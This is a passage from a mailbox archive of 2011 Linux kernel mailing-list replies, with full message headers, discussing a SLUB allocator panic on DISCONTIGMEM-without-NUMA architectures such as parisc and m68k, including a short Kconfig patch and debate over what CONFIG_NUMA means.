ate SD_NODE_INIT in include/asm/topology.h!!!
> In file included from include/linux/sched.h:78,
>                  from arch/parisc/kernel/asm-offsets.c:31:
> include/linux/topology.h: In function 'numa_node_id':
> include/linux/topology.h:255: error: implicit declaration of function '=
cpu_to_node'

Sorry about that. I'll see more carefully the code later. Probably long
time discontig-mem uninterest made multiple level breakage. Grr. ;-)



--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter=
.ca/
Don't email: <a href=3Dmailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 08:53:41 +0300
Lines: 16
Approved: news@gmane.org
Message-ID: <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
References: <1303249716.11237.26.camel@mulgrave.site>
	<alpine.DEB.2.00.1104191657030.26867@router.home>
	<20110420102314.4604.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1303278830 19803 80.91.229.12 (20 Apr 2011 05:53:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 05:53:50 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 07:53:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCQMB-00046N-RN
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 07:53:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752182Ab1DTFxn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 01:53:43 -0400
Original-Received: from mail-vw0-f46.google.com ([209.85.212.46]:55364 "EHLO
	mail-vw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752112Ab1DTFxm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 01:53:42 -0400
Original-Received: by vws1 with SMTP id 1so318606vws.19
        for <multiple recipients>; Tue, 19 Apr 2011 22:53:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=b522IEsAAk55m6VmsdGBOtqevH50XfFdI65OmsGqlN4=;
        b=gNYsv4/X1uQ7Om3bujlr9EoXMyQG64MWAGb36NJkK87Ln7ge6Xccx9mKazxboFdLzU
         4xjCG3VfciMY6Fm+vmuvYNnnX8vKQ7ZDvxhd2aX92JGXzNbiaBXMtwhg7ecIuz4UW8Td
         ODwcLtOR8Os/BXxkKi1bQ7k2m58ff6PzH+oaE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=nsZKzQjhJS0sueO4lPn/gzA/T0wpKHQXLxSnQ+47/Jm6fCP4Gxz6F048V+k2IEJCs8
         kF8ITpzKlMGHVKz6XzBUMkXKlh3Wo2MrrN7ppTrb4lCeQIjo9S5R/789z2jZ6pGrvoAr
         /l5IL/IP6CcUl01F+TqPqn4cf9MKWXgbhdLgo=
Original-Received: by 10.52.176.134 with SMTP id ci6mr1019233vdc.190.1303278821668;
 Tue, 19 Apr 2011 22:53:41 -0700 (PDT)
Original-Received: by 10.52.168.102 with HTTP; Tue, 19 Apr 2011 22:53:41 -0700 (PDT)
In-Reply-To: <20110420102314.4604.A69D9226@jp.fujitsu.com>
X-Google-Sender-Auth: r6gludV8YliwHNBAnYFM_lfQUNM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3600 gmane.linux.kernel.mm:61659 gmane.linux.kernel:1128855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3600>

On Wed, Apr 20, 2011 at 4:23 AM, KOSAKI Motohiro
<kosaki.motohiro@jp.fujitsu.com> wrote:
> I'm worry about this patch. A lot of mm code assume !NUMA systems
> only have node 0. Not only SLUB.

So is that a valid assumption or not? Christoph seems to think it is
and James seems to think it's not. Which way should we aim to fix it?
Would be nice if other people chimed in as we already know what James
and Christoph think.

                        Pekka
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 16:15:23 +0900 (JST)
Lines: 39
Approved: news@gmane.org
Message-ID: <20110420161615.462D.A69D9226@jp.fujitsu.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303283734 10372 80.91.229.12 (20 Apr 2011 07:15:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 07:15:34 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com, Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 09:15:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCRdI-0002r7-6Y
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 09:15:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753586Ab1DTHP1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 03:15:27 -0400
Original-Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]:57461 "EHLO
	fgwmail5.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753171Ab1DTHP0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 03:15:26 -0400
Original-Received: from m2.gw.fujitsu.co.jp (unknown [10.0.50.72])
	by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 033903EE0C1;
	Wed, 20 Apr 2011 16:15:26 +0900 (JST)
Original-Received: from smail (m2 [127.0.0.1])
	by outgoing.m2.gw.fujitsu.co.jp (Postfix) with ESMTP id D845D45DEA5;
	Wed, 20 Apr 2011 16:15:25 +0900 (JST)
Original-Received: from s2.gw.fujitsu.co.jp (s2.gw.fujitsu.co.jp [10.0.50.92])
	by m2.gw.fujitsu.co.jp (Postfix) with ESMTP id B6B6345DEA0;
	Wed, 20 Apr 2011 16:15:25 +0900 (JST)
Original-Received: from s2.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id A0955E08002;
	Wed, 20 Apr 2011 16:15:25 +0900 (JST)
Original-Received: from m107.s.css.fujitsu.com (m107.s.css.fujitsu.com [10.240.81.147])
	by s2.gw.fujitsu.co.jp (Postfix) with ESMTP id 61414E38002;
	Wed, 20 Apr 2011 16:15:25 +0900 (JST)
Original-Received: from m107.css.fujitsu.com (m107 [127.0.0.1])
	by m107.s.css.fujitsu.com (Postfix) with ESMTP id C5A4367000B;
	Wed, 20 Apr 2011 16:15:24 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by m107.s.css.fujitsu.com (Postfix) with ESMTP id BB7F967000C;
	Wed, 20 Apr 2011 16:15:23 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Wed, 20 Apr 2011 16:16:28 +0900 (JST)
In-Reply-To: <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3601 gmane.linux.kernel.mm:61662 gmane.linux.kernel:1128874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3601>

> On Wed, Apr 20, 2011 at 4:23 AM, KOSAKI Motohiro
> <kosaki.motohiro@jp.fujitsu.com> wrote:
> > I'm worry about this patch. A lot of mm code assume !NUMA systems
> > only have node 0. Not only SLUB.
> 
> So is that a valid assumption or not? Christoph seems to think it is
> and James seems to think it's not. Which way should we aim to fix it?
> Would be nice if other people chimed in as we already know what James
> and Christoph think.

I'm sorry. I don't know it really. The fact was gone into historical myst. ;-)

Now, CONFIG_NUMA has mainly five meanings.

1) system may has !0 node id.
2) compile mm/mempolicy.c (ie enable mempolicy APIs)
3) Allocator (kmalloc, vmalloc, alloc_page, et al) awake NUMA topology.
4) enable zone-reclaim feature
5) scheduler makes per-node load balancing scheduler domain

Anyway, we have to fix this issue.  I'm digging which fixing way has least risk.


btw, x86 don't have an issue. Probably it's a reason why this issue was neglected
long time.

arch/x86/Kconfig
-------------------------------------
config ARCH_DISCONTIGMEM_ENABLE
        def_bool y
        depends on NUMA && X86_32



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 10:34:23 +0300
Lines: 52
Approved: news@gmane.org
Message-ID: <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	<BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	<20110420161615.462D.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303284873 16174 80.91.229.12 (20 Apr 2011 07:34:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 07:34:33 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 09:34:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCRvd-0003sB-Uq
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 09:34:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753277Ab1DTHeZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 03:34:25 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:49027 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752148Ab1DTHeY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 03:34:24 -0400
Original-Received: by gyd10 with SMTP id 10so126115gyd.19
        for <multiple recipients>; Wed, 20 Apr 2011 00:34:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=X8uI96hg5N6/g0Jnf0HRPepbVAqsgMdeEEIwqqITUhI=;
        b=hgD55khb2DjMnXfYL45gNW7Fu3nZdm3QJTdT07I+EUvgzYfvYrhUBIkhuzPD+G8ux7
         zV2FqB7zjXMwpqNsSUauUukEPN4UI9f+12Dz6zIuBfmTBqbAn2jE4TqyY3J/OmgA3WZv
         oGY2/yEW+AHwipaJzP+NMqehfV4ezqV0EaPW4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=rLuKa6jW5MXLtuHjGB+Z3CZlBXKBpu+a2aqFR4KPOsEq+Rfd2ctpZX5EVhUcCexQKS
         1IUNpri9my6NZDnjG4EI9V6Eo4CUHDs/Cn2Q5iATfmd1H7Stu+vZUbTAKAVw1tmAdPUJ
         F80GxFpCCT272WgbZRIUS0hJsqNZhXdTQhhAA=
Original-Received: by 10.101.145.37 with SMTP id x37mr4389745ann.22.1303284863594; Wed,
 20 Apr 2011 00:34:23 -0700 (PDT)
Original-Received: by 10.100.10.3 with HTTP; Wed, 20 Apr 2011 00:34:23 -0700 (PDT)
In-Reply-To: <20110420161615.462D.A69D9226@jp.fujitsu.com>
X-Google-Sender-Auth: mc-uokeCFBxGJtCTURz7SkvWshY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3602 gmane.linux.kernel.mm:61663 gmane.linux.kernel:1128880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3602>

Hi!

On Wed, Apr 20, 2011 at 4:23 AM, KOSAKI Motohiro
>> <kosaki.motohiro@jp.fujitsu.com> wrote:
>> > I'm worry about this patch. A lot of mm code assume !NUMA systems
>> > only have node 0. Not only SLUB.
>>
>> So is that a valid assumption or not? Christoph seems to think it is
>> and James seems to think it's not. Which way should we aim to fix it=
?
>> Would be nice if other people chimed in as we already know what Jame=
s
>> and Christoph think.

On Wed, Apr 20, 2011 at 10:15 AM, KOSAKI Motohiro
<kosaki.motohiro@jp.fujitsu.com> wrote:
> I'm sorry. I don't know it really. The fact was gone into historical =
myst. ;-)
>
> Now, CONFIG_NUMA has mainly five meanings.
>
> 1) system may has !0 node id.
> 2) compile mm/mempolicy.c (ie enable mempolicy APIs)
> 3) Allocator (kmalloc, vmalloc, alloc_page, et al) awake NUMA topolog=
y.
> 4) enable zone-reclaim feature
> 5) scheduler makes per-node load balancing scheduler domain
>
> Anyway, we have to fix this issue. =A0I'm digging which fixing way ha=
s least risk.
>
>
> btw, x86 don't have an issue. Probably it's a reason why this issue w=
as neglected
> long time.
>
> arch/x86/Kconfig
> -------------------------------------
> config ARCH_DISCONTIGMEM_ENABLE
> =A0 =A0 =A0 =A0def_bool y
> =A0 =A0 =A0 =A0depends on NUMA && X86_32

That part makes me think the best option is to make parisc do
CONFIG_NUMA as well regardless of the historical intent was.

                        Pekka
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.ports.m68k
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Wed, 20 Apr 2011 09:48:43 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <BANLkTinyvO78OnKZGW3jB_N6uao0tppnAw@mail.gmail.com>
References: <1303248576.11237.23.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303285733 20975 80.91.229.12 (20 Apr 2011 07:48:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 07:48:53 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-mm@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Thorsten Glaser <tg@mirbsd.de>,
	Michael Schmitz <schmitzmic@googlemail.com>,
	"Linux/m68k" <linux-m68k@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 09:48:48 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCS9X-0002x2-JK
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 09:48:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753979Ab1DTHsq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 03:48:46 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:39253 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753858Ab1DTHsp convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 03:48:45 -0400
Original-Received: by bwz15 with SMTP id 15so408516bwz.19
        for <multiple recipients>; Wed, 20 Apr 2011 00:48:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=XXjbqLV7AghrIO0INLM0ema9zA01F4q9ahFjjGUXoig=;
        b=vWbIsSaqk238GGi9z+eMWFvg2VRMYNmwvF4KfroZEA/bO40qzzEwp6l7Id6JC6XMdY
         SgVTdWbP4cj5qXMfYbARrySyEd4zmaiPnVdJHlZ1Y1WH5EaBgb6HXn1IdHsLQL98Ugcn
         YDBE8vGXs5om3/YVef1yOo8DmcEoZQeTRVeMI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=NJ+Fj8CUnyW9SqOE5HyF0Bdo49QaUAJiNsCiyzPzUqmSNKd/37BwO7nc70zJo/3meI
         Bdd3vMImuxT1KyOUMjpu3g6/0VbYSQPRaQ1kHyHuM4UL1iX6JB7Uizoj5JeRRKzEnhlY
         CWhs/h0zm1n7h8e+9nZMu08prLbetJ6OoYo6U=
Original-Received: by 10.204.187.194 with SMTP id cx2mr2424270bkb.167.1303285723826;
 Wed, 20 Apr 2011 00:48:43 -0700 (PDT)
Original-Received: by 10.204.120.144 with HTTP; Wed, 20 Apr 2011 00:48:43 -0700 (PDT)
In-Reply-To: <1303248576.11237.23.camel@mulgrave.site>
X-Google-Sender-Auth: GP6plP3A6vzP1CRmFCiS25MS3mI
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3603 gmane.linux.kernel.cross-arch:9615 gmane.linux.ports.m68k:2141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3603>

On Tue, Apr 19, 2011 at 23:29, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> Slub makes assumptions about page_to_nid() which are violated by
> DISCONTIGMEM and !NUMA. =C2=A0This violation results in a panic becau=
se
> page_to_nid() can be non-zero for pages in the discontiguous ranges a=
nd
> this leads to a null return by get_node(). =C2=A0The assertion by the
> maintainer is that DISCONTIGMEM should only be allowed when NUMA is a=
lso
> defined. =C2=A0However, at least six architectures: alpha, ia64, m32r=
, m68k,
> mips, parisc violate this. =C2=A0The panic is a regression against sl=
ab, so
> just mark slub broken in the problem configuration to prevent users
> reporting these panics.

How does the problem manifest itself? We're having a problem on m68k, w=
hich
seems to go away when switching from SLUB to SLAB, or when reverting a =
commit
in [2] (probably this was never reported upstream).

References:
[1] http://www.mail-archive.com/linux-m68k@vger.kernel.org/msg02812.htm=
l
[2] http://www.spinics.net/lists/linux-m68k/msg03401.html

> Cc: stable@kernel.org
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
>
> ---
>
> diff --git a/init/Kconfig b/init/Kconfig
> index 56240e7..a7ad8fb 100644
> --- a/init/Kconfig
> +++ b/init/Kconfig
> @@ -1226,6 +1226,7 @@ config SLAB
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0per cpu and per node queues.
>
> =C2=A0config SLUB
> + =C2=A0 =C2=A0 =C2=A0 depends on BROKEN || NUMA || !DISCONTIGMEM
> =C2=A0 =C2=A0 =C2=A0 =C2=A0bool "SLUB (Unqueued Allocator)"
> =C2=A0 =C2=A0 =C2=A0 =C2=A0help
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 SLUB is a slab allocator that mini=
mizes cache line usage

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 17:40:25 +0900 (JST)
Lines: 71
Approved: news@gmane.org
Message-ID: <20110420174027.4631.A69D9226@jp.fujitsu.com>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303288838 5740 80.91.229.12 (20 Apr 2011 08:40:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 08:40:38 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com, Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 10:40:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCSxb-0005GX-Jl
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 10:40:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752423Ab1DTIkb convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 04:40:31 -0400
Original-Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]:53144 "EHLO
	fgwmail5.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751340Ab1DTIk3 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 04:40:29 -0400
Original-Received: from m4.gw.fujitsu.co.jp (unknown [10.0.50.74])
	by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 5E9343EE0C7;
	Wed, 20 Apr 2011 17:40:27 +0900 (JST)
Original-Received: from smail (m4 [127.0.0.1])
	by outgoing.m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 3FD9445DE56;
	Wed, 20 Apr 2011 17:40:27 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (s4.gw.fujitsu.co.jp [10.0.50.94])
	by m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 1359B45DE52;
	Wed, 20 Apr 2011 17:40:27 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 066B01DB803E;
	Wed, 20 Apr 2011 17:40:27 +0900 (JST)
Original-Received: from m105.s.css.fujitsu.com (m105.s.css.fujitsu.com [10.240.81.145])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id B9DDD1DB803B;
	Wed, 20 Apr 2011 17:40:26 +0900 (JST)
Original-Received: from m105.css.fujitsu.com (m105 [127.0.0.1])
	by m105.s.css.fujitsu.com (Postfix) with ESMTP id 79670608006;
	Wed, 20 Apr 2011 17:40:26 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by m105.s.css.fujitsu.com (Postfix) with ESMTP id 6C8865E8004;
	Wed, 20 Apr 2011 17:40:25 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
